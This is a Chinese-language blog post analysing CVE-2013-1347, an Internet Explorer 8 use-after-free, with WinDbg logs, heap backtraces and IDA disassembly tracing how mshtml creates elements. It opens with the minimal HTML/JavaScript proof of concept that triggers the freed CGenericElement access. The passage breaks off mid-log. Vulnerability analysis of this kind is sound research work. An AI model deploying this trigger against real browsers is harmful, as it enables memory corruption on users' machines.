CVE-2013-1347

从备份失败的老博客还原出来的

poc 分析

复现时使用的 poc 是漏洞战争附带资料里的 min_poc,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<!doctype html> <!-- required -->
<HTML>
<head>
</head>
<body>
<ttttt:whatever id="myanim"/><!-- required format -->
<script>
f0=document.createElement('span');
document.body.appendChild(f0);

f1=document.createElement('span');
document.body.appendChild(f1);

f2=document.createElement('span');
document.body.appendChild(f2);

document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist')); //has to be a data list
f1.appendChild(document.createElement('table')); //has to be a table

try{
f0.offsetParent=null; //required
}catch(e){ }

f2.innerHTML=""; //required
f0.appendChild(document.createElement('hr')); //required
f1.innerHTML=""; //required
CollectGarbage();
</script>
</body>
</html>

开启页堆和栈回溯

1
gflags.exe /i iexplore.exe +hpa +ust

windbg 附加已经打开 pocie8 浏览器,发生崩溃

1
2
3
4
5
6
7
8
9
10
11
0:013> g
ModLoad: 6c770000 6c822000 C:\Windows\System32\jscript.dll
(a44.664): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=68a89100 ebx=06e38fb0 ecx=06e1dfc8 edx=00000000 esi=0473c8e8 edi=00000000
eip=6870b68d esp=0473c8bc ebp=0473c8d4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\System32\mshtml.dll -
mshtml!Ordinal104+0x4b0ee:
6870b68d 8b01 mov eax,dword ptr [ecx] ds:0023:06e1dfc8=????????

查看 ecx 发现不可访问,并且 ecx 指向的地址之前已经被 free, 所以可以存在 use after free 漏洞。回溯可知 mshtml!CGenericElement 对象被释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0:005> dd ecx L1
06b04fc8 ????????
0:005> !heap -p -a ecx
address 06b04fc8 found in
_DPH_HEAP_ROOT @ 12a1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
6592750: 6b04000 2000
6cba90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
772365f4 ntdll!RtlDebugFreeHeap+0x0000002f
771fa0aa ntdll!RtlpFreeHeap+0x0000005d
771c65a6 ntdll!RtlFreeHeap+0x00000142
7601bbe4 kernel32!HeapFree+0x00000014
6865c83a mshtml!CGenericElement::`scalar deleting destructor'+0x0000003d
68711daf mshtml!CBase::SubRelease+0x00000022
6870a6b5 mshtml!CElement::PrivateRelease+0x0000002a
68707894 mshtml!PlainRelease+0x00000025
68753862 mshtml!PlainTrackerRelease+0x00000014
6bf3a735 jscript!VAR::Clear+0x0000005f
6bf56e46 jscript!GcContext::Reclaim+0x000000b6
6bf543e9 jscript!GcContext::CollectCore+0x00000123
6bfb83f0 jscript!JsCollectGarbage+0x0000001d
6bf4758c jscript!NameTbl::InvokeInternal+0x00000141
6bf44f84 jscript!VAR::InvokeByDispID+0x0000017f
6bf4e4c7 jscript!CScriptRuntime::Run+0x00002b80
6bf45d7d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
6bf45cdb jscript!ScrFncObj::Call+0x0000008d
6bf45ef1 jscript!CSession::Execute+0x0000015f
6bf4620a jscript!COleScript::ExecutePendingScripts+0x000001bd
6bf4c3b9 jscript!COleScript::ParseScriptTextCore+0x000002a4
6bf4c1d1 jscript!COleScript::ParseScriptText+0x00000030
686ef774 mshtml!CScriptCollection::ParseScriptText+0x00000218
686ef58c mshtml!CScriptElement::CommitCode+0x000003c2
686ef34f mshtml!CScriptElement::Execute+0x000000c6
686d2d52 mshtml!CHtmParse::Execute+0x0000004a
686cc36a mshtml!CHtmPost::Broadcast+0x0000000f
686cceba mshtml!CHtmPost::Exec+0x000005f7
686ce945 mshtml!CHtmPost::Run+0x00000015
686ce8a9 mshtml!PostManExecute+0x000001fb
686ce80e mshtml!PostManResume+0x000000f7

下面来看下触发崩溃的指令的附近指令,很明显 ecx 是一个对象的地址,mov eax,dword ptr [ecx]eax 为虚表地址,之后取偏移 0x70 调用虚函数。

1
2
3
4
5
6
7
8
9
10
0:005> u 6870b68d 
mshtml!CElement::Doc:
6870b68d 8b01 mov eax,dword ptr [ecx]
6870b68f 8b5070 mov edx,dword ptr [eax+70h]
6870b692 ffd2 call edx
6870b694 8b400c mov eax,dword ptr [eax+0Ch]
6870b697 c3 ret
6870b698 90 nop
6870b699 90 nop
6870b69a 90 nop

DOM树创建

先看下 poc 中的第一条 js 语句

1
f0=document.createElement('span');

可以通过 windbgx 命令查询与 document.createElement 相关的函数。

1
2
3
4
0:005> x mshtml!*document*createElement*
68665e8d mshtml!CDocument::createElement = <no type information>
68716ec0 mshtml!s_methdescCDocumentcreateElement = <no type information>
68665ee6 mshtml!CDocument::CreateElementHelper = <no type information>

可以猜测 mshtml!CDocument::createElementmshtml!CDocument::CreateElementHelper 函数和 document.createElement 有关,实际上也是由 mshtml!CDocument::createElement 去调用 mshtml!CDocument::CreateElementHelper 完成的。使用 windbgCDocument::createElement 函数下断点,单步调试分析其功能,通过调试可以发现 CDocument::createElement 函数中实际创建元素的函数是 CDocument::CreateElementHelper 之后会调用所创建元素虚表偏移处 0xd80xe0 处的函数,如在上面的调试中调用的是创建 span 元素后的虚表中的 mshtml!CXDomainRequest::QueryInterfacemshtml!CDomPrototype::Release 函数,之后调用 CBase::SetErrorInfo 函数。注释见下图
2018-07-11_142334.png-75.8kB
下面再来分析下 mshtml!CDocument::CreateElementHelper 函数。调试时遇到的一个问题是 ida 通过 mshtmlpdb 自动识别出来的变量和 windbg 的变量有区别,感觉 ida 错啦。对比如下
xxx.png-58.3kB

4239479238.png-11.6kB

后面分析的时候我是按照 windbg 的类型来分析的。实际上在调试过程中主要的指令如下:
4293089432123.png-15.3kB
其实就是先调用 CDocument::Markup(void) 获得 CMarkup 对象,然后通过 CMarkup::CreateElement() 创建新的元素。调试信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0:005> p
eax=00000004 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f28 esp=0456d034 ebp=0456d048 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CDocument::CreateElementHelper+0x45:
68665f28 e813770a00 call mshtml!CDocument::Markup (6870d640)
0:005>
eax=0589ef30 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f2d esp=0456d034 ebp=0456d048 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CDocument::CreateElementHelper+0x4a:
68665f2d 50 push eax
0:005> ln poi(eax)
(68701f30) mshtml!CMarkup::`vftable' | (68702028) mshtml!CDoc::`vftable'
Exact matches:
mshtml!CMarkup::`vftable' = <no type information>
0:005> p
eax=0589ef30 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f2e esp=0456d030 ebp=0456d048 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CDocument::CreateElementHelper+0x4b:
68665f2e 33c0 xor eax,eax
0:005>
eax=00000000 ebx=0456d58c ecx=05b80fc8 edx=00000018 esi=0456d060 edi=05b80fc8
eip=68665f30 esp=0456d030 ebp=0456d048 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDocument::CreateElementHelper+0x4d:
68665f30 e84bfeffff call mshtml!CMarkup::CreateElement (68665d80)
0:005> dd esp L1
0456d030 0589ef30
0:005> ln poi(0589ef30)
(68701f30) mshtml!CMarkup::`vftable' | (68702028) mshtml!CDoc::`vftable'
Exact matches:
mshtml!CMarkup::`vftable' = <no type information>
0:005> p
eax=00000000 ebx=0456d58c ecx=0591bfd8 edx=68711db9 esi=0456d060 edi=05b80fc8
eip=68665f35 esp=0456d040 ebp=0456d048 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CDocument::CreateElementHelper+0x52:
68665f35 8bf0 mov esi,eax

继续动态调试 CMarkup::CreateElement 函数。发现实际上又调用了 CreateElement 函数去做处理。

1
2
3
4
5
.text:682C5E1D                 push    1               ; struct CMarkup *
.text:682C5E1F push 0 ; struct CDoc *
.text:682C5E21 push ecx ; struct CElement **
.text:682C5E22 push eax ; struct CHtmTag *
.text:682C5E23 call CreateElement(CHtmTag *,CElement * *,CDoc *,CMarkup *,int *,ulong)

继续跟踪 CreateElement 函数。下面是部分调试信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
0:005> 
eax=0472d56c ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd6fa esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x1d:
686cd6fa 0fb64701 movzx eax,byte ptr [edi+1] ds:0023:060fcf01=74
0:005>
eax=00000074 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd6fe esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x21:
686cd6fe c1e004 shl eax,4
0:005> r eax
eax=00000074
0:005> p
eax=00000740 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd701 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CreateElement+0x24:
686cd701 0520397268 add eax,offset mshtml!g_atagdesc (68723920)
0:005>
eax=68724060 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd706 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x29:
686cd706 0f8405691100 je mshtml!CreateElement+0x2b (687e4011) [br=0]
0:005>
eax=68724060 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd70c esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x38:
686cd70c 8b4008 mov eax,dword ptr [eax+8] ds:0023:68724068={mshtml!CCommentElement::CreateElement (686977d2)}
0:005> p
eax=686977d2 ebx=04098fc0 ecx=04098fc0 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd70f esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x3b:
686cd70f 8d4d10 lea ecx,[ebp+10h]
0:005>
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd712 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x3e:
686cd712 51 push ecx
0:005> p
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd713 esp=0472d524 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x3f:
686cd713 52 push edx
0:005>
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd714 esp=0472d520 ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x40:
686cd714 57 push edi
0:005>
eax=686977d2 ebx=04098fc0 ecx=0472d550 edx=06e09680 esi=04098ef8 edi=060fcf00
eip=686cd715 esp=0472d51c ebp=0472d540 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CreateElement+0x41:
686cd715 ffd0 call eax {mshtml!CCommentElement::CreateElement (686977d2)}
...................................................
0:005>
eax=00000000 ebx=04098fc0 ecx=00000065 edx=00000004 esi=00000000 edi=060fcf00
eip=686cd729 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x4d:
686cd729 8b4d10 mov ecx,dword ptr [ebp+10h] ss:0023:0472d550=05ff2fc8
0:005>
eax=00000000 ebx=04098fc0 ecx=05ff2fc8 edx=00000004 esi=00000000 edi=060fcf00
eip=686cd72c esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x50:
686cd72c 8b11 mov edx,dword ptr [ecx] ds:0023:05ff2fc8={mshtml!CCommentElement::`vftable' (68555798)}
0:005>
eax=00000000 ebx=04098fc0 ecx=05ff2fc8 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd72e esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x52:
686cd72e 8b4210 mov eax,dword ptr [edx+10h] ds:0023:685557a8={mshtml!CElement::Init (686c9f5d)}
0:005>
eax=686c9f5d ebx=04098fc0 ecx=05ff2fc8 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd731 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x55:
686cd731 ffd0 call eax {mshtml!CElement::Init (686c9f5d)}
........................................
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd748 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x64:
686cd748 8b5510 mov edx,dword ptr [ebp+10h] ss:0023:0472d550=05ff2fc8
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74b esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x67:
686cd74b 51 push ecx
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74c esp=0472d524 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x68:
686cd74c 57 push edi
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74d esp=0472d520 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x69:
686cd74d 52 push edx
0:005>
eax=00000000 ebx=04098fc0 ecx=0839ef30 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd74e esp=0472d51c ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x6a:
686cd74e e85b000000 call mshtml!CElement::InitAttrBag (686cd7ae)
......................................
0:005>
eax=0839ef30 ebx=04098fc0 ecx=00000000 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd76e esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x82:
686cd76e 8b4d10 mov ecx,dword ptr [ebp+10h] ss:0023:0472d550=05ff2fc8
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd771 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x85:
686cd771 8945f8 mov dword ptr [ebp-8],eax ss:0023:0472d538=00000000
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd774 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x88:
686cd774 897df4 mov dword ptr [ebp-0Ch],edi ss:0023:0472d534=0472d548
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=05ff2fc8 esi=00000000 edi=060fcf00
eip=686cd777 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x8b:
686cd777 8b11 mov edx,dword ptr [ecx] ds:0023:05ff2fc8={mshtml!CCommentElement::`vftable' (68555798)}
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=68555798 esi=00000000 edi=060fcf00
eip=686cd779 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x8d:
686cd779 8b92f8000000 mov edx,dword ptr [edx+0F8h] ds:0023:68555890={mshtml!CElement::Init2 (686ca047)}
0:005>
eax=0839ef30 ebx=04098fc0 ecx=05ff2fc8 edx=686ca047 esi=00000000 edi=060fcf00
eip=686cd77f esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x93:
686cd77f 8d45f4 lea eax,[ebp-0Ch]
0:005>
eax=0472d534 ebx=04098fc0 ecx=05ff2fc8 edx=686ca047 esi=00000000 edi=060fcf00
eip=686cd782 esp=0472d528 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x96:
686cd782 50 push eax
0:005>
eax=0472d534 ebx=04098fc0 ecx=05ff2fc8 edx=686ca047 esi=00000000 edi=060fcf00
eip=686cd783 esp=0472d524 ebp=0472d540 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CreateElement+0x97:
686cd783 ffd2 call edx {mshtml!CElement::Init2 (686ca047)}

主要功能及注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
.text:686CD6FA                 movzx   eax, byte ptr [edi+1] ; eax为索引
.text:686CD6FE shl eax, 4
.text:686CD701 add eax, offset CTagDesc const * const g_atagdesc ; 函数数组的地址
.text:686CD706 jz loc_687E4011
.text:686CD70C mov eax, [eax+8] ; 得到函数的实际地址
.text:686CD70F lea ecx, [ebp+arg_8]
.text:686CD712 push ecx
.text:686CD713 push edx
.text:686CD714 push edi
.text:686CD715 call eax ; 调用函数
.text:686CD717 mov esi, eax
.text:686CD719 test esi, esi
.text:686CD71B jnz loc_68665D6C
.text:686CD721 cmp [ebx], eax
.text:686CD723 jnz loc_68665D67
.text:686CD729 mov ecx, [ebp+arg_8] ; 得到上面call eax的结果即元素创建的返回值存到ecx
.text:686CD72C mov edx, [ecx]
.text:686CD72E mov eax, [edx+10h] ; 取得相应元素虚表偏移0x10处的函数调用
.text:686CD731 call eax
.text:686CD733 mov esi, eax
.text:686CD735 test esi, esi
.text:686CD737 jnz loc_68665D6C
.text:686CD73D cmp [ebx], eax
.text:686CD73F jnz loc_68665D67
.text:686CD745 mov ecx, [ebp+arg_4] ; this
.text:686CD748 mov edx, [ebp+arg_8]
.text:686CD74B push ecx
.text:686CD74C push edi ; struct CMarkup *
.text:686CD74D push edx ; struct CHtmTag *
.text:686CD74E call CElement::InitAttrBag(CHtmTag *,CMarkup *)
.text:686CD753 mov esi, eax
.text:686CD755 test esi, esi
.text:686CD757 jnz loc_68665D6C
.text:686CD75D cmp [ebx], eax
.text:686CD75F jnz loc_68665D67
.text:686CD765 mov ecx, [ebp+arg_C]
.text:686CD768 mov eax, [ebp+arg_4]
.text:686CD76B mov [ebp+var_4], ecx
.text:686CD76E mov ecx, [ebp+arg_8]
.text:686CD771 mov [ebp+var_8], eax
.text:686CD774 mov [ebp+var_C], edi
.text:686CD777 mov edx, [ecx]
.text:686CD779 mov edx, [edx+0F8h] ; 取得所创建元素虚表偏移0xf8处的虚函数并在下面调用
.text:686CD77F lea eax, [ebp+var_C]
.text:686CD782 push eax
.text:686CD783 call edx

下面继续分析创建 span 元素的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
.text:68648F8C ; int __stdcall CSpanElement::CreateElement(struct CHtmTag *, struct CDoc *, struct CElement **)
.text:68648F8C public: static long __stdcall CSpanElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *) proc near
.text:68648F8C ; DATA XREF: .text:68723ED8↓o
.text:68648F8C
.text:68648F8C arg_4 = dword ptr 0Ch
.text:68648F8C arg_8 = dword ptr 10h
.text:68648F8C
.text:68648F8C mov edi, edi
.text:68648F8E push ebp
.text:68648F8F mov ebp, esp
.text:68648F91 push esi
.text:68648F92 push 28h ; dwBytes
.text:68648F94 push 8 ; dwFlags
.text:68648F96 push _g_hProcessHeap ; hHeap
.text:68648F9C call ds:HeapAlloc(x,x,x)
.text:68648FA2 mov esi, eax ; 创建元素后保存在的内存地址
.text:68648FA4 test esi, esi
.text:68648FA6 jz short loc_68648FD2 ; 分配失败直接跳转到函数尾
.text:68648FA8 push [ebp+arg_4] ; 传过来的CDoc对象
.text:68648FAB push 5Bh
.text:68648FAD call CElement::CElement(ELEMENT_TAG,CDoc *)
.text:68648FB2 mov dword ptr [esi], offset const CSpanElement::`vftable'
.text:68648FB8 mov eax, esi ; eax = esi = span
.text:68648FBA
.text:68648FBA loc_68648FBA: ; CODE XREF: CSpanElement::CreateElement(CHtmTag *,CDoc *,CElement * *)+48↓j
.text:68648FBA mov ecx, [ebp+arg_8]
.text:68648FBD mov [ecx], eax
.text:68648FBF neg eax
.text:68648FC1 sbb eax, eax
.text:68648FC3 and eax, 7FF8FFF2h
.text:68648FC8 add eax, 8007000Eh
.text:68648FCD pop esi
.text:68648FCE pop ebp
.text:68648FCF retn 0Ch

可以看到又调用啦 CElement::CElement 函数,现在我们可以做一下总结,当创建一个元素一般经历的步骤是:

1
2
3
4
5
6
CDocument::createElement
|--->CDocument::CreateElementHelper
|--->CMarkup::CreateElement
|--->mshtml!CreateElement
|--->CXXXElement::CreateElement
|--->HeapAlloc+CElement::CElement

下面通过在 mshtml!CreateElement + 0x41mshtml!CElement::CElement+0x1e 下断点观测元素创建的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123

0:013> bu mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc"
0:013> bu mshtml!CreateElement + 0x41 "ln eax;gc"
Matched: 682f141a mshtml!CreateElement = <no type information>
Matched: 6832d6de mshtml!CreateElement = <no type information>
Ambiguous symbol error at 'mshtml!CreateElement + 0x41 "ln eax;gc"'
0:013> bp 6832d6de+0x37 "ln eax;gc"
0:013> bl
0 e 68329ff1 0001 (0001) 0:**** mshtml!CElement::CElement+0x1e ".echo '=== CElement ==='; dd edi l(28/4);gc"
1 e 6832d715 0001 (0001) 0:**** mshtml!CreateElement+0x41 "ln eax;gc"
0:013> g
'=== CElement ==='
073bafd8 681b5570 00000001 00000008 00000000
073bafe8 00000000 00000000 00000000 00000000
073baff8 00000000 00000000
(682f77d2) mshtml!CCommentElement::CreateElement | (682f7880) mshtml!`string'
Exact matches:
mshtml!CCommentElement::CreateElement = <no type information>
'=== CElement ==='
060d0fc8 681b5570 00000001 00000008 00000000
060d0fd8 00000000 00000000 00000000 00000000
060d0fe8 00000000 00000000
(682f77d2) mshtml!CCommentElement::CreateElement | (682f7880) mshtml!`string'
Exact matches:
mshtml!CCommentElement::CreateElement = <no type information>
'=== CElement ==='
06058fc8 681b5570 00000001 00000008 00000000
06058fd8 00000000 00000000 00000000 00000000
06058fe8 00000000 00000000
(682f1547) mshtml!CHtmlElement::CreateElement | (682f1598) mshtml!CHtmlElement::`vftable'
Exact matches:
mshtml!CHtmlElement::CreateElement = <no type information>
'=== CElement ==='
06c46fd8 681b5570 00000001 00000008 00000000
06c46fe8 00000000 00000000 00000000 00000000
06c46ff8 00000000 00000000
(682f181d) mshtml!CHeadElement::CreateElement | (682f1868) mshtml!CHeadElement::`vftable'
Exact matches:
mshtml!CHeadElement::CreateElement = <no type information>
'=== CElement ==='
07988fd8 681b5570 00000001 00000008 00000000
07988fe8 00000000 00000000 00000000 00000000
07988ff8 00000000 00000000
'=== CElement ==='
072abfd0 681b5570 00000001 00000008 00000000
072abfe0 00000000 00000000 00000000 00000000
072abff0 00000000 00000000
(682f0bba) mshtml!CBodyElement::CreateElement | (682f0c08) mshtml!CBodyElement::CBodyElement
Exact matches:
mshtml!CBodyElement::CreateElement = <no type information>
'=== CElement ==='
071f2fd0 681b5570 00000001 00000008 00000000
071f2fe0 00000000 00000000 00000000 00000000
071f2ff0 00000000 00000000
'=== CElement ==='
0795efd0 681b5570 00000001 00000008 00000000
0795efe0 00000000 00000000 00000000 00000000
0795eff0 00000000 00000000
(682f77d2) mshtml!CCommentElement::CreateElement | (682f7880) mshtml!`string'
Exact matches:
mshtml!CCommentElement::CreateElement = <no type information>
'=== CElement ==='
073a8fc8 681b5570 00000001 00000008 00000000
073a8fd8 00000000 00000000 00000000 00000000
073a8fe8 00000000 00000000
(6834f96d) mshtml!CScriptElement::CreateElement | (6834f9b7) mshtml!CScriptElement::CScriptElement
Exact matches:
mshtml!CScriptElement::CreateElement = <no type information>
'=== CElement ==='
07a94f98 681b5570 00000001 00000008 00000000
07a94fa8 00000000 00000000 00000000 00000000
07a94fb8 00000000 00000000
ModLoad: 6c020000 6c0d2000 C:\Windows\System32\jscript.dll
(682a8f8c) mshtml!CSpanElement::CreateElement | (682a8fd8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
07ac1fd8 681b5570 00000001 00000008 00000000
07ac1fe8 00000000 00000000 00000000 00000000
07ac1ff8 00000000 00000000
(682a8f8c) mshtml!CSpanElement::CreateElement | (682a8fd8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
07ae1fd8 681b5570 00000001 00000008 00000000
07ae1fe8 00000000 00000000 00000000 00000000
07ae1ff8 00000000 00000000
(682a8f8c) mshtml!CSpanElement::CreateElement | (682a8fd8) mshtml!CSpanElement::`vftable'
Exact matches:
mshtml!CSpanElement::CreateElement = <no type information>
'=== CElement ==='
07ad7fd8 681b5570 00000001 00000008 00000000
07ad7fe8 00000000 00000000 00000000 00000000
07ad7ff8 00000000 00000000
(682bc4de) mshtml!CGenericElement::CreateElement | (682bc523) mshtml!CGenericElement::CGenericElement
Exact matches:
mshtml!CGenericElement::CreateElement = <no type information>
'=== CElement ==='
06c81fc8 681b5570 00000001 00000008 00000000
06c81fd8 00000000 00000000 00000000 00000000
06c81fe8 00000000 00000000
(6829a55d) mshtml!CTable::CreateElement | (6829a59e) mshtml!CTable::CTable
Exact matches:
